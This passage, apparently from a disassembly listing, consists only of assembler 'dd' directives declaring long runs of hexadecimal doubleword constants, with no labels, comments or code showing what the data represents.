		dd 0D865070Ah, 5F486433h, 90814760h, 34012A37h,	7E41FC12h
		dd 2C349D70h, 198F4F3Ah, 70A954DCh, 0F80169ECh,	0D6E69329h
		dd 607487D2h, 33E828h, 0B18176D3h, 29098678h, 0FCC22414h
		dd 8A3400A0h, 2B9845Fh,	3A0300E0h, 0B5886386h, 43BDF0Bh
		dd 28613D3Bh, 810110B7h, 8B88760h, 77F805E2h, 0C9EC0507h
		dd 8045CAE5h, 71F9FFDCh, 6BB1A500h, 5034EDF4h, 80220081h
		dd 66AAD1FBh, 2B00FA10h, 0B0C467A2h, 0F1348D5Fh, 0AA73D08Fh
		dd 1332079h, 5BD143FCh,	5A8407D0h, 8E580F0Fh, 10052B20h
		dd 48FA8397h, 0E67C77E8h, 0E85CA400h, 47E2C663h, 0A6820049h
		dd 4FEDCEFFh, 74772880h, 3694D900h, 0AF96D27Fh,	0D0010F4Bh
		dd 0FA77A77h, 83EC4097h, 0C500B67Bh, 0C3E4C813h, 707D7617h
		dd 878503FFh, 14441BA7h, 46AE1D0h, 1CF408C0h, 5B306h, 7B7AA7FBh
		dd 97407D84h, 0CFFF860Ah, 0FE98D877h, 70FC60D0h, 0CD1500Ch
		dd 82EC00F6h, 0DA4B9F92h, 43E49F4h, 0B365007Ch,	0FD62DC71h
		dd 6C41C7Bh
		dd 7611C3C7h, 5F907DECh, 360023E0h, 40C325F6h, 0AADD7h
		dd 20C7B847h, 95574B39h, 68F63872h, 89B02B01h, 995C7471h
		dd 187B850h, 58302CC9h,	361D3CA0h, 33B42A02h, 0DDA1D0F4h
		dd 0A349FEC0h, 14033619h, 6DD07521h, 11416067h,	8D5AB18Bh
		dd 1C7B9028h, 0F4C4370Ch, 6F31197h, 0F81AB265h,	9106812Fh
		dd 3A5C51AEh, 0BCA70211h, 86AC8240h, 4BE82700h,	811021B9h
		dd 0AC00703Eh, 2DB726A7h, 90035C0Eh, 91B88044h,	90A2C7Eh
		dd 16B240Ch, 0F8D24188h, 74118710h, 5F9045E6h, 778D19h
		dd 7022EC4Bh, 98C17D2Fh, 88843551h, 3E45E360h, 0CFCDC1Eh
		dd 66100EDBh, 0A0F11F6Eh, 8E095C72h, 0C2D4008Ch, 55EAF136h
		dd 5F04A826h, 314739B2h, 0FC952180h, 28161DD8h,	0A888B0C0h
		dd 0D5606A40h, 0F7F47148h, 32450CE1h, 0B2E8968Fh, 9F1E0378h
		dd 7D41846Bh, 9EDD1BB0h, 648C1083h, 87BFAE4Dh, 0A391C3B2h
		dd 0B0341903h, 0E08906E0h, 75C8D44h, 8A3E8764h,	80A07A10h
		dd 789D156Dh, 2D0061A1h, 83A7E107h, 0AD89CBh, 0CA8D31FCh
		dd 168A84Bh, 0E016A300h, 0A485668Ch, 0B88263D7h, 1806A2FDh
		dd 0A03CF894h, 6DAA14D0h, 9D22DC0Dh, 68A9090Ah,	5C09A836h
		dd 37F0104Fh, 51490FCEh, 91A0FB26h, 4A770405h, 0E9E64600h
		dd 52C42286h, 875D06A7h, 387DA55Ch, 3907DD00h, 0D430B475h
		dd 0D0D3F366h, 0DFE278h, 47B99DB6h, 0AC35BF41h,	66CB1501h
		dd 2BB427B1h, 0F0C23FECh, 0C04307A3h, 401857B9h, 0D71DA058h
		dd 40014CF0h, 0F9A92CCBh, 0B6D062C5h, 0BA611CE2h, 4A80BF13h
		dd 9E549D24h, 6207D940h, 28B719B8h, 2700E7EAh, 2BCE3DA8h
		dd 38295715h, 3DA70507h, 18948ECFh, 8D302A8h, 131A191Eh
		dd 0B4EFC0B0h, 3D440635h, 30A7499Dh, 0B0430200h, 13A427EDh
		dd 0A0567DEEh, 69E31FEh, 154BD44Ah, 1F1ED1FBh, 240D55F0h
		dd 980239CDh, 1804BE14h, 101A9334h, 44009A42h, 631B0302h
		dd 0E2F82B20h, 0B2989Fh, 5B976539h, 1661EDBAh, 148330DEh
		dd 1E98C76Ah, 0A12B318h, 3D08CB8Ah, 18B69E00h, 0DF551C46h
		dd 0B144C30Ah, 0BC002C0Fh, 5967D8Ah, 680CAC1Bh,	0E70C882Ch
		dd 75309CADh, 0A746140Ch, 30815853h, 0ED79B739h, 8FE59A8Eh
		dd 59B52041h, 40981DE8h, 0A13E1930h, 20788E54h,	58C5B328h
		dd 21BF6643h, 5990DF6Eh, 7529C8EFh, 527E2280h, 9C3E201h
		dd 0C021E114h, 0F240CC20h, 28C08EF1h, 7E4D6235h, 5038E8B3h
		dd 38B00CD2h, 0E44945AEh, 88517F00h, 22BA58ECh,	5F3A787Dh
		dd 719814A2h, 0C9D040Ch, 0FC90DB99h, 3FE285Dh, 389FF463h
		dd 0B8D02AD8h, 85033D7h, 313B90Ch, 14459A34h, 58009E1Ah
		dd 42E57397h, 4464A718h, 0B578475Dh, 0A8272062h, 4010BC8Ch
		dd 0CD11B890h, 9C607754h, 969E3080h, 0B3F0AB93h, 0F832EDBAh
		dd 5FE08244h, 625C6115h, 0B7482009h, 0DE403B8Bh, 71C0E1B0h
		dd 59521958h, 8DE2228Ch, 621740E4h, 394C7E59h, 0A398997Ch
		dd 0D1908809h, 0B5BD8CF7h, 0AF119468h, 54583B2Fh, 9E886329h
		dd 12A0A649h, 0DA6408B9h, 40EABC41h, 0A22FB110h, 0D2E01C54h
		dd 0C7CA124h, 134A0164h, 998FE680h, 0E280C8Ch, 0B5168CE4h
		dd 42ABD73h, 3381C585h,	0E014ED88h, 21F49D3Eh, 769E0A24h
		dd 6A134094h, 6092C4F4h, 0D6C27E09h, 0D2810E1h,	80148215h
		dd 0C99A3E3h, 8C08B20Ah, 0C8125A17h, 0AF840C3Fh, 12357C53h
		dd 3275CE08h, 802899A8h, 8C999E53h, 844240Ch, 6ABC1254h
		dd 0F55A889Ch, 0B1D9DC10h, 0C8A027B0h, 0D4C058B4h, 0C21DF12h
		dd 0D884144Ah, 0BF74106Bh, 5061D5D7h, 115C2F2h,	3404799Ah
		dd 565194AEh, 0AC21D6A8h, 7994DD3Dh, 30D5D879h,	6558937Ch
		dd 6A4C5280h, 97519C2Ch, 0DFB0C8AEh, 0E2207883h, 47100317h
		dd 0E5CAB7BDh, 460FAFC8h, 7818726Ah, 0A784D08h,	40CC205Fh
		dd 0A2BD9A83h, 0B52618C0h, 630215E6h, 0A839702Eh, 629244E4h
		dd 2C229C10h, 43C7A53h,	0CE7CAC09h, 70E81479h, 4804F53Ch
		dd 0D8952547h, 0AA043C47h, 78D4C669h, 0E06E40E6h, 0E90C7300h
		dd 0D423B0EBh, 0F05975F8h, 0F637C5Dh, 2A4C02F2h, 7150585h
		dd 0C2F12014h, 24E0FB58h, 18125BD5h, 4C2C61C6h,	4CC24CD0h
		dd 58C08008h, 206E3503h, 243875F2h, 26BCC5AEh, 0B52A0404h
		dd 0EE5102E1h, 0C89E03A1h, 10400EFAh, 4488DD7Ah, 484914A6h
		dd 87E12088h, 779218A6h, 7701F18Eh, 301FC16Bh, 18981A94h
		dd 0C09E892Bh, 0C402F512h, 68A19847h, 2E507D24h, 3CE0BD8h
		dd 51CB479h, 21A80830h,	0D848E2h, 4463D127h, 1157A1Eh
		dd 4086AE03h, 38C59D2h,	80A91858h, 0EC90565Eh, 89001261h
		dd 3DD4693Ah, 0F6D0FCA6h, 0AD821942h, 20123073h, 0E0BA9298h
		dd 6E5BBA12h, 8319A806h, 47B0A020h, 0BC9A3Dh, 78E3D014h
		dd 25F15DAFh, 0E1371919h, 2180EA08h, 7278EBF6h,	427BF84Dh
		dd 4874C931h, 0C99C97BFh, 886F47C1h, 0A04C70A9h, 0C9004741h
		dd 0C5BCA490h, 50A61905h, 189F464h, 495A5BBBh, 602CA380h
		dd 35262554h, 199CA4B8h, 42EA73C0h, 1DA1DAB1h, 12D4593Ah
		dd 0F8EC4015h, 40747547h, 0BAB3280Bh, 0E6DC01B9h, 643518E1h
		dd 16211F8h, 81327E5Ch,	98FA95C5h, 5B216F08h, 0C2623829h
		dd 1E9A8F00h, 0C55ACF4h, 0F1DC9B30h, 0C0C51AE1h, 87CF6391h
		dd 5D036156h, 3D640FF8h, 652900E1h, 0AD73F003h,	0FE007BA4h
		dd 0F2EFF33Ch, 0E59FC9Fh, 0EAAE2645h, 47ED0E40h, 0E4010704h
		dd 1C0DB651h, 0D5C478F5h, 5DBC0573h, 167A228h, 5E185F90h
		dd 88C4466h, 0EAC048D4h, 435DB078h, 0F2F580E9h,	70978h
		dd 762B3A6Dh, 3E647148h, 2A50A265h, 73B3B460h, 0A94223E7h
		dd 3001D11h, 0B8CF754Bh, 0CE1E61D5h, 541DFFBDh,	2C079B87h
		dd 0F76CBB50h, 0BA960079h, 41DD2F81h, 7F300CB5h, 105F91B8h
		dd 0D80D6122h, 0D689F28Eh, 0F0FF7861h, 768079DAh, 0B630793h
		dd 101A4518h, 0AE1688C8h, 35C57400h, 982C755Dh,	145A02B3h
		dd 950CECA7h, 75023090h, 0B554F80h, 170420E1h, 122B3420h
		dd 134C72E5h, 605F3028h, 0BF12F03h, 3E25A15Dh, 9EC17490h
		dd 0AC4B8E00h, 0A05B0881h, 0B65909C4h, 3024B407h, 621260EFh
		dd 4A7E235Bh, 5A007111h, 0A33F622Ah, 0A70096BCh, 0D6F8E730h
		dd 8198BED4h, 11D0E4B0h, 4D64490Fh, 0EA6B0065h,	30AD91FBh
		dd 0ED491A46h, 2005B85h, 7CAE1105h, 6E014h, 0C5CDBDD4h
		dd 91359EA7h, 2E8E2507h, 6B01624Bh, 50300D28h, 7EB812B3h
		dd 19012A7h, 9C0C4700h,	0BFF18CCDh, 6689B0h, 0F53323E3h
		dd 0BB419B1Ah, 43B2E402h, 0C0802648h, 6CC2E3F4h, 61495017h
		dd 8968F302h, 60C67F7Ch, 52787Ah, 0AE93FD2Fh, 7DD39E17h
		dd 318D4B0h, 1C699F38h,	5BE100AAh, 897FE909h, 0A8C1139Ch
		dd 0AE8063EDh, 4E791DDCh, 7E4C4098h, 0CC299366h, 0C7464100h
		dd 0D2ACADEh, 9FC90A9Eh, 0C0C8F0B6h, 7E5E6213h,	0B224246h
		dd 622B590Ch, 2E916417h, 87AC980Ch, 83DCC814h, 1109019Ah
		dd 2022185Dh, 737851C4h, 0A81660E4h, 26C5402Dh,	85AA1A01h
		dd 714A105Dh, 11D428A9h, 78E88156h, 31DE5DB2h, 0F0FB10CEh
		dd 90650078h, 0BBC889C4h, 2700407Ah, 0F9AEB4CAh, 243F46BDh
		dd 543620h, 0C2AF0B88h,	0CC7B619Dh, 313F0A4h, 0E4979B5Fh
		dd 1D0F8C2Ah, 0A23C40DFh, 4CD989C0h, 9816D47Fh,	7010CCA0h
		dd 0AD6FBF04h, 7CC2EDFCh, 95C02AB3h, 0E61EA080h, 7E747E57h
		dd 185CB235h, 491941AEh
		dd 0AA0470BAh, 22E14D09h, 62094A5h, 2109E91h, 0DE822863h
		dd 0CEB090E3h, 884C2656h, 40BF038Ch, 758CDFCCh,	22988980h
		dd 83EC3D4Ch, 0E1E2CC9h, 6BC29071h, 0F267002Dh,	7D1A04CFh
		dd 7000BD25h, 204D4FE7h, 34749EDh, 660C525Eh, 88A8E50Eh
		dd 18929DADh, 0D02F246h, 127E5062h, 57100A31h, 6A006225h
		dd 0F94487C9h, 0A4A93B03h, 0BA7E72B4h, 724C0018h, 0B89DDF36h
		dd 9C9AAE34h, 0EDD73A01h, 6F5D990Dh, 1BD8E6D4h,	88D11A2Dh
		dd 622860ECh, 0FA7E2351h, 540E0D11h, 0AD606220h, 34CA9935h
		dd 93BE22h, 138839D7h, 0C04C740Ch, 96001E70h, 23E6A88Ch
		dd 183ABFBAh, 60729D33h, 5CBA8461h, 1E465F19h, 28DC57C1h
		dd 64054806h, 74966300h, 0BB3D0498h, 0FD35988h,	1A18D533h
		dd 5EA00153h, 255D51D9h, 459DD168h, 24DC30BCh, 0AA00B721h
		dd 1E5CE00Eh, 28804672h, 0ECCBEC5h, 0C398041Ah,	9042E5C5h
		dd 3B8A7C38h, 4D2FE905h, 5CDC9DCBh, 30168C46h, 40FC850h
		dd 0FF4A8613h, 0A0876FC8h, 80654584h, 6CAFC02Ch, 59F2420Dh
		dd 0FC203895h, 486A484Ch, 0FAA7EF00h, 0D9F1EA9Fh, 88209964h
		dd 9EC854E5h, 58FB63DAh, 76909413h, 10C0EAC6h, 7E14757Fh
		dd 0FBCF4506h, 0B53E8EC0h, 3650A49Ch, 8341CFEh,	14802726h
		dd 48EDCDA8h, 5768005h,	0D0E4190Ch, 987B48FDh, 0F0738Eh
		dd 0E50BC8BCh, 60D9D238h, 0D1B0209Ah, 25534514h, 0FA54C420h
		dd 0F4CA3960h, 0D5405006h, 0E996BEh, 421F4C9Fh,	0DF1E4507h
		dd 896BF8A8h, 5411D300h, 107EEE5Ch, 0BCB935h, 18B30D49h
		dd 0AF012AFCh, 0D87CEC94h, 81D4E77Ah, 0F65B0778h, 0F0B17780h
		dd 0A28B5F35h, 0F2A0B661h, 8800A7CDh, 50C01087h, 0AFD0CF1Dh
		dd 92E27686h, 0CDBF1C78h, 0A5483A1h, 18DB531Ch,	6CEAD2A0h
		dd 1170A8F0h, 95065A0Eh, 0D83A20C9h, 3E1FFBh, 71333042h
		dd 0ED4F7396h, 9A18E202h, 80B8F68Eh, 1CD09DCCh,	506100ABh
		dd 710429F9h, 0DB073A44h, 0A56DFDFEh, 78C62831h, 401D440h
		dd 0BC0E283Bh, 4E00A094h, 446880E3h, 780BA307h,	0E6976A20h
		dd 18462E30h, 0A91A2EBCh, 9D851DEEh, 80441EE2h,	3A1F2AE3h
		dd 78032ED4h, 5067D1DEh, 61C1E222h, 4CD01822h, 0F4E401E1h
		dd 0BFE9AA21h, 68A3F384h, 0BD112861h, 0E1F0C0E7h, 0C54D58EDh
		dd 19C21800h, 43F4D4B5h, 367C3978h, 4C28DDB0h, 653C9B50h
		dd 66CF0013h, 1526BD44h, 4B8D1A5h, 39B8AFh, 35EDB04Eh
		dd 0C326AF17h, 18B61C29h, 16672A61h, 0B34E1081h, 0C433C0CBh
		dd 0EE00AA66h, 775FD137h, 0C0FD2803h, 0ED95F818h, 147C717Eh
		dd 164D061Dh, 0EB9E48B3h, 6E7FD085h, 527E0080h,	0E9DFC9C8h
		dd 0AF0072A1h, 0E5207688h, 0B2077Ch, 15770B9Bh,	38B0C59h
		dd 7B873D00h, 942F9D31h, 29E6F2h, 80AF7172h, 9C2E18D0h
		dd 0DF13BC06h, 7518258Dh, 5B51009Eh, 0B4146ED6h, 40A0BD9Dh
		dd 0B33EA54Fh, 0EAD860F8h, 78C24B16h, 0C64D74E9h, 0C0E4E578h
		dd 0AE5AFA0Ah, 36007CB1h, 9EABEAAh, 0C3C8F74h, 10F9094Dh
		dd 18C97785h, 68332E6Fh, 0B5284CBEh, 3431B083h,	23030CFh
		dd 0BC81F895h, 2105F803h, 400866A5h, 20A119B1h,	6250C39Ch
		dd 0DDC334AFh, 0CA5B105h, 8C73EC51h, 0B844B18Bh, 0F281601Eh
		dd 0A17D47F9h, 0F8505088h, 7F2A5D78h, 0ACAE3A02h, 830C72A4h
		dd 93CBEF8Bh, 0DDA71B90h, 0A4C4DA0Ch, 0A3BF89C0h, 4948C648h
		dd 0CBC92803h, 7BE66415h, 171D0F09h, 0A4808EFFh, 0A021B82Dh
		dd 5D0139F8h, 0A94D6111h, 0D260F4E3h, 134B0FE7h, 4A0BE5E1h
		dd 60377831h, 0C178E250h, 85F854B0h, 5FC77F1Dh,	0FCE7BE0Fh
		dd 4A04FC41h, 444C1FABh, 0F9FF2CAEh, 0BFFE0561h, 3504612Ch
		dd 1A2DC8BEh, 8800CA6h,	4F3EE9D0h, 0E804454Dh, 0CDC73020h
		dd 0C108A814h, 7C314377h, 292FF83Eh, 24D2A00Fh,	0CC924BE4h
		dd 8D10999Bh, 0D0FF084Ch, 572B4C91h, 70E76230h,	10518304h
		dd 0F719818Dh, 14510929h, 203E08A3h, 4B708008h,	361B811Fh
		dd 29B1F89Ch, 0A0C0F4Bh, 0C88C18D6h, 33C70350h,	18527184h
		dd 91732A4h, 48312410h,	22339132h, 2E2D442Ch, 48122F89h
		dd 4A484924h, 44224B91h, 89464544h, 29401247h, 0C0132D05h
		dd 0C4DB33C3h, 0D63D6218h, 0DF72C2C1h, 8477D4B8h, 4972CA2h
		dd 8535959h, 4516E023h,	156E03F3h, 8570C1D8h, 0C6E014E3h
		dd 9A1CC2A3h, 0E80860Bh, 0F8F32E16h, 0C1281D15h, 1E301DF0h
		dd 0C8783D88h, 0A2082040h, 0A4660085h, 0A60B7FC2h, 1578EBE4h
		dd 350FB225h, 4A1FF48h,	7464D5FFh, 0E3C088ACh, 0E64E86C8h
		dd 0F85CBE22h, 3808D025h, 0ED4503AAh, 3D23566h,	0BFFDF211h
		dd 922F03Ah, 0DB70D7EFh, 46AEEAD0h, 0B0AEBE04h,	0F95040h
		dd 6008BA2Ah, 0B2140CA6h, 9D21A461h, 384A77FFh,	0F1D523B0h
		dd 0FB7EF39h, 860C8C31h, 1181620h, 9AF31899h, 0EDFCC278h
		dd 1C87FAF8h, 8A7CC08Bh, 6614EC6Fh, 8B287422h, 0E0E4D41Eh
		dd 807170D7h, 992A41C3h, 27300014h, 0D3B32037h,	0DF1F504Ch
		dd 0FC0326EBh, 0C045C1D1h, 34A51D0h, 4F2478A7h,	5098E2BBh
		dd 6A52FDB0h, 6CE8F14h,	730BE18h, 0BBE7AA1Ah, 51D42249h
		dd 2E4CE200h, 63D33C43h, 1522B583h, 0C60FDF6Eh,	6726C221h
		dd 186DAF4Ch, 363D0D0h,	0BFE6A916h, 80A6E120h, 46B028D8h
		dd 1A683ADFh, 1FC0D106h, 191878AFh, 0E431CFBBh,	59BCF1C1h
		dd 0CE8BD14h, 2780E4D0h, 0D3B54D50h, 0CF0675Eh,	0DF4F1EC0h
		dd 0BC2ECAE4h, 0E09067DCh, 0AF6C6B76h, 0B12A07F0h, 0E602E8B2h
		dd 71482D95h, 580BF714h, 0C15090DEh, 0B67D006Ah, 779130F1h
		dd 92006276h, 5799BD0Ch, 7CA6ED6h, 713AB52Fh, 1548C0AFh
		dd 600187B4h, 7203D96h,	71818AB2h, 0AB127266h, 1179F98Dh
		dd 1CD053F8h, 0C3AAE4F4h, 0CB256C28h, 0F13144A1h, 162A0173h
		dd 88141858h, 22643D95h, 2921A668h, 2F31876Eh, 9CCACACEh
		dd 30592419h, 5544A4FBh, 17690710h, 1890408Ah, 1D76C410h
		dd 8E063742h, 32590D96h, 0CD81D669h, 47CCA890h,	0A129D0A8h
		dd 85281660h, 0A289101h, 0F5CD332Eh, 0B4C080B4h, 6ED499FDh
		dd 6AF9D0A0h, 450CE386h, 0B306F646h, 31FBDFC9h,	0B97C3330h
		dd 60DBDA73h, 4D2A6827h, 662AE7B9h, 760A414h, 118D54F1h
		dd 6E7F11B2h, 0F7D00616h, 18319005h, 18A3E150h,	4CA0E810h
		dd 58A2B540h, 0B3F8402h, 0E7B1C22Fh, 441842F1h,	9DEA0638h
		dd 30D27DBDh, 0C112CD14h, 4EAA148Ch, 0D9F3144Ch, 47E84458h
		dd 2FEC91C1h, 28210AF5h, 82C27849h, 242772A4h, 7F242E41h
		dd 0B808DB74h, 513422B7h, 854E0885h, 1C4B0CEh, 0BD9E601Eh
		dd 8628A137h, 526415F2h, 1C357E22h, 68442149h, 835B622h
		dd 66510A99h, 428DEE08h, 2214212Dh, 2646D194h, 0A221DA1h
		dd 0C63BC921h, 0A1A19A1h, 56119C21h, 18E111A8h,	3F50912Ah
		dd 0B1846C4Ch, 8C2352ABh, 0C31EE30h, 0A3FDD7FFh, 2C1B3221h
		dd 4611F69h, 0B206C240h, 4A9240AAh, 685D1B8Ah, 440C5824h
		dd 0CC7CC32Eh, 900A0FC4h, 45490803h, 71316430h,	21311007h
		dd 448B2193h, 0CC093F8Ch, 1C2885D0h, 0FE50748Dh, 0BC99CC50h
		dd 0E751FA1Bh, 3F75EED0h, 2B11C705h, 0A0F42E40h, 35486985h
		dd 49F03698h, 0C7B3E21Fh, 44A92946h, 71310028h,	6DC8813Fh
		dd 2578F05Ah, 78DE3900h, 0E6B51584h, 0DD6A1C5Fh, 0B344C0D1h
		dd 0C26466EDh, 7E673226h, 3A51E401h, 4BE8E2B5h,	55ED0FDFh
		dd 3580D0A5h, 51C34613h
		dd 0E95844E8h, 18812CECh, 0C6067C3Ah, 0DEA92135h, 0E3392C40h
		dd 5C3728C8h, 4042446Ah, 0DE0F4858h, 310F4A4Dh,	0EC83716Fh
		dd 36C52151h, 690A9830h, 1CEDAF2Eh, 17363060h, 80A580B6h
		dd 216AE717h, 6068040Ah, 0FCCA1465h, 44552EA2h,	27231DB4h
		dd 0BFF90557h, 0AA1864A4h, 56D8B4CDh, 0C0260A86h, 0E12CAF1Bh
		dd 41B51364h, 70EF1AC4h, 0AE1549A0h, 80383926h,	2ADCD7A5h
		dd 0ECD30749h, 45E14363h, 70147438h, 49397840h,	6BDBFC17h
		dd 35D2B407h, 2F84AE44h, 0D402F816h, 5924841Ch,	3A5057ACh
		dd 60C300D9h, 83C2DD70h, 12F8E64Eh, 0E3AE1A00h,	0ED4619BDh
		dd 13349869h, 5D1350DBh, 0DCAF0000h, 2CC21A11h,	9848C024h
		dd 0DFBB1580h, 9AE6182h, 444C66D4h, 2D50408Ch, 0F6A4C007h
		dd 9A8938E2h, 496C8320h, 1F4DE1B6h, 24BFEC20h, 6174BB48h
		dd 0F3FC537Fh, 14A2905Ah, 7023A1EBh, 1E63020h, 0DD222163h
		dd 2BE15164h, 58D5A8B2h, 0B087F43Eh, 404FC2E9h,	0BE35F526h
		dd 1A1ED098h, 18062CB5h, 2640EBE1h, 9C0FDB0h, 8307E422h
		dd 2DBEE146h, 0E24DD145h, 782E8C40h, 69D4E200h,	0BFE9BC4Ch
		dd 0D1B00E20h, 0F8E2DC0h, 80BB8484h, 0E4A918A0h, 0AF31BF78h
		dd 0E9B560D0h, 5882AC21h, 0EDBD4BC1h, 0FE86357h, 0E73A8440h
		dd 0C8E2189Dh, 2BF1B485h, 2DF1E4B5h, 6EA4E22Ah,	5DAF29A0h
		dd 0A97FE09Fh, 64E741F8h, 7618E150h, 0FDFC1ED4h, 6026DCA4h
		dd 0C58057C7h, 24B55235h, 2BD46018h, 0C07CA5B8h, 1C31AA79h
		dd 0D394E12Bh, 6AEDB2C8h, 0F9E1851Fh, 0C0E73030h, 957CB04Ch
		dd 2A97807Bh, 0C1FE1CDAh, 0DF506023h, 2CD5C464h, 16B44BE6h
		dd 18E471EDh, 2C0C3630h, 460798D2h, 8ECE50E8h, 0D81D92EDh
		dd 450D4F1Eh, 0C43520E3h, 62181C20h, 2E600936h,	0E494C4C2h
		dd 462CDC98h, 0A87C0E3h, 818B4C4Ah, 0FDBB3C20h,	0C7B51030h
		dd 83E7AF69h, 0BFA1BE4Ah, 2ED0644Fh, 482C4BF9h,	80C17C3Ch
		dd 0B043C0E3h, 0C01C3430h, 0E0856658h, 153E69E7h, 0FCB06045h
		dd 0A6334A09h, 25509018h, 1CED53DFh, 38DCD8F5h,	0C7AE5716h
		dd 3B6E84C8h, 0C5C3E044h, 183A1A12h, 4CC85D25h,	0ED16446Fh
		dd 508F216Ah, 3A51C3A0h, 0C0FDAA0Bh, 6AD80250h,	4B64E835h
		dd 0F9ED73BEh, 0F1334052h, 507014F8h, 85312207h, 66CD406Ch
		dd 20B8BB13h, 0FCAA1625h, 0BCED8900h, 214F44E0h, 6AE7A917h
		dd 0DF457827h, 141DD4A2h, 71E40166h, 0DCE94417h, 0E53CBC2Eh
		dd 0BE460051h, 0D1A91335h, 90195C36h, 0C9BA563Ch, 6041723Eh
		dd 0D0304450h, 1D52214Dh, 35E21D46h, 63E9054Ah,	0A780D417h
		dd 0DCA50CC8h, 2ECF68E8h, 14E08A33h, 0B02980D1h, 804B7634h
		dd 0EE46EC0Bh, 0F0348550h, 1A5F63ECh, 0D1CA9070h, 0F040F36Ah
		dd 74D264F4h, 0B07000C9h, 221363E2h, 81E34CDFh,	0E43A5021h
		dd 242F4466h, 0F8C6BE94h, 21515B90h, 38C6C2E0h,	52384380h
		dd 63AFC10h, 2166D146h,	0A9F8E8CFh, 8228D361h, 0D6D06DC8h
		dd 801C90E2h, 304CBCDCh, 0B620ECA9h, 1A1DC0E0h,	4B04D3E1h
		dd 0B8E1E6BBh, 782AE077h, 0F53314C4h, 0DD9E8C50h, 0EC18E518h
		dd 173E4DEEh, 0D88536B6h, 0AF1A2888h, 2422E8DCh, 335C6433h
		dd 0A8C41940h, 0EBDF134Ch, 0C814041Eh, 0E3E10080h, 5085951h
		dd 0E4B0A130h, 4E18F050h, 0E7B41717h, 26DCCC54h, 0BD195078h
		dd 0C1E95318h, 55F4E301h, 74DC3158h, 61602D16h,	58BDE230h
		dd 36C1D468h, 20ECB215h, 0F4A6E144h, 0E9C96494h, 2021FDF0h
		dd 443E3038h, 131F6048h, 0E8351946h, 0F0C0A0C5h, 0D1506A2Fh
		dd 0ED67FC4h, 8D89F0C8h, 6ED65920h, 29F02FAEh, 0B5AF7100h
		dd 2F9EC8Bh, 312D6069h,	238619D0h, 0AEBB0A1Fh, 18193318h
		dd 256504D9h, 0F94D2A63h, 0C2097C6Ch, 0F2B540ABh, 2115004Ch
		dd 325FC819h, 594FA002h, 20788886h, 9E0071C5h, 0D40D8395h
		dd 2CC1146Eh, 2756C0D7h, 0E40B1C68h, 0CF351B14h, 105AF120h
		dd 0A50C4E18h, 0B13150E5h, 0FF4700F5h, 0F620ADD5h, 70669673h
		dd 0F2212208h, 4CFF013Fh, 7B874695h, 8B844043h,	1E54CBD4h
		dd 707D3A0h, 81253451h,	291D40FEh, 542A8F2Dh, 26B002h
		dd 0CFB2BD60h, 1FBC23EEh, 7E8BFA00h, 89B032BFh,	311329F8h
		dd 0D0F5198h, 0CAF8402Eh, 728E3107h, 430CAF02h,	9B3F3D39h
		dd 0DD09B41Ch, 950A68D9h, 0A6E08C76h, 0AB7B582h, 0B887FA01h
		dd 80E61194h, 0ADD4FF48h, 1F448C18h, 0FF403B72h, 0A4330700h
		dd 888DF4BAh, 2643B80Dh, 245479BFh, 1F11746Fh, 8E64A8AEh
		dd 7C92CD7Eh, 95CEEB00h, 0DF32E6B6h, 0A51C0250h, 2902143Ah
		dd 4F807C7Eh, 0FA883617h, 149CE061h, 90C22F46h,	55F7C704h
		dd 0E8348604h, 0F26C3D56h, 88E0B588h, 25C10FADh, 3EEDF8h
		dd 8DE1FA5Ch, 5490D1BEh, 3DA5590Dh, 5C52982Bh, 0BF35200Fh
		dd 61078D1Dh, 63689253h, 42E016A7h, 7F43D3C7h, 2A132BE6h
		dd 0AD4E706Ch, 0B51F088Ch, 9500DE65h, 0D48AF8EBh, 985B6EF9h
		dd 4529A583h, 0D9F36813h, 46ECDCF5h, 0FC904909h, 38301DC8h
		dd 0C16F52DCh, 418D8AD0h, 8060B1AAh, 0AC5E90DBh, 20872322h
		dd 0C160CC14h, 0CD8778A8h, 0EB006822h, 8942EFD9h, 0B17510C4h
		dd 2A11343Ah, 8100B025h, 9455EFC2h, 26939643h, 4F2C6909h
		dd 0E86560A0h, 6600A2FEh, 732AFB4Eh, 0B90147h, 7D9337CEh
		dd 0BE52F6E4h, 0C703B177h, 0EDB587B6h, 0C8A03F85h, 2D1889BCh
		dd 0E63D1077h, 10699514h, 0E0C324A0h, 25D2BE00h, 0F9E432h
		dd 57D8D4E9h, 0F5CFADA2h, 8FD8A33h, 67210013h, 0F1EFD8CCh
		dd 920088A7h, 0A83417Dh, 72E928h, 1E6CBC5Ah, 0E33C6597h
		dd 4CE3600h, 0B2AF058h,	0C767EDEh, 16EAEDFEh, 6D00A551h
		dd 0D05D29BEh, 87724Bh,	830149D7h, 91FFBA7Bh, 5A0E4FF4h
		dd 588EBCBEh, 0C9E558h,	0B35BF40h, 0B5E028A6h, 6E1B2704h
		dd 0A0109F0h, 9F9954BEh, 0EB0C7C18h, 0C407804h,	0F9E05929h
		dd 2100A028h, 0EB5192A1h, 631C9C0h, 2D0E650h, 9A00498Fh
		dd 16D1DCA4h, 3AA3C41h,	26E0B9F6h, 5006EF37h, 0D6B4F7F8h
		dd 20BF7C68h, 0A387413h, 18F230A6h, 416F6E85h, 43BCD073h
		dd 57F9F477h, 568C8180h, 5C6C43ACh, 0C8B0AAE2h,	5B11D8C8h
		dd 1788CDA2h, 0D8C04B80h, 186774C9h, 193AEBBBh,	0B100AD5Eh
		dd 0F1FC5FD4h, 75E5B7h,	0D73F684Dh, 3AC29C59h, 0E0928C1h
		dd 60C86FFFh, 2AB900DFh, 9D14D2DCh, 73306EB8h, 788AB9EBh
		dd 0E733062Bh, 0B0F402BCh, 96C5903h, 0A4F503C2h, 77519900h
		dd 650C0BB3h, 972981Eh,	0B921C09Eh, 8A937779h, 941A4100h
		dd 9BDFCD0Ah, 3EC13049h, 35BC1291h, 0AFB95103h,	30B12596h
		dd 0F2211509h, 955035ABh, 571D37CBh, 0A6005966h, 9236CA51h
		dd 0E6389008h, 0C0A7FA6Ch, 7AFA82A8h, 0FCA9985Ah, 0C8E4D8C4h
		dd 54E6203h, 30B61B3Eh,	5B21E808h, 3601E443h, 0E25E0760h
		dd 4026F0AFh, 8A376306h, 38776801h, 0FAF92019h,	0EF1840C8h
		dd 91835E00h, 997EFF8Dh, 3C08C0D5h, 0D763230Eh,	0F85EE600h
		dd 0CAEE1885h, 31FA0740h, 979F281Bh, 620EB063h,	0FF0C6D36h
		dd 391319F3h, 7C5400B5h, 0E83BE6B7h, 3032002h, 2EADFD94h
		dd 0A493E8DFh, 0D47A0F78h, 71865917h, 0EC00180Bh, 0F6764488h
		dd 0F89B01BFh, 9450E2Dh, 7F4C9CC4h, 9EF42230h, 2F3C40h
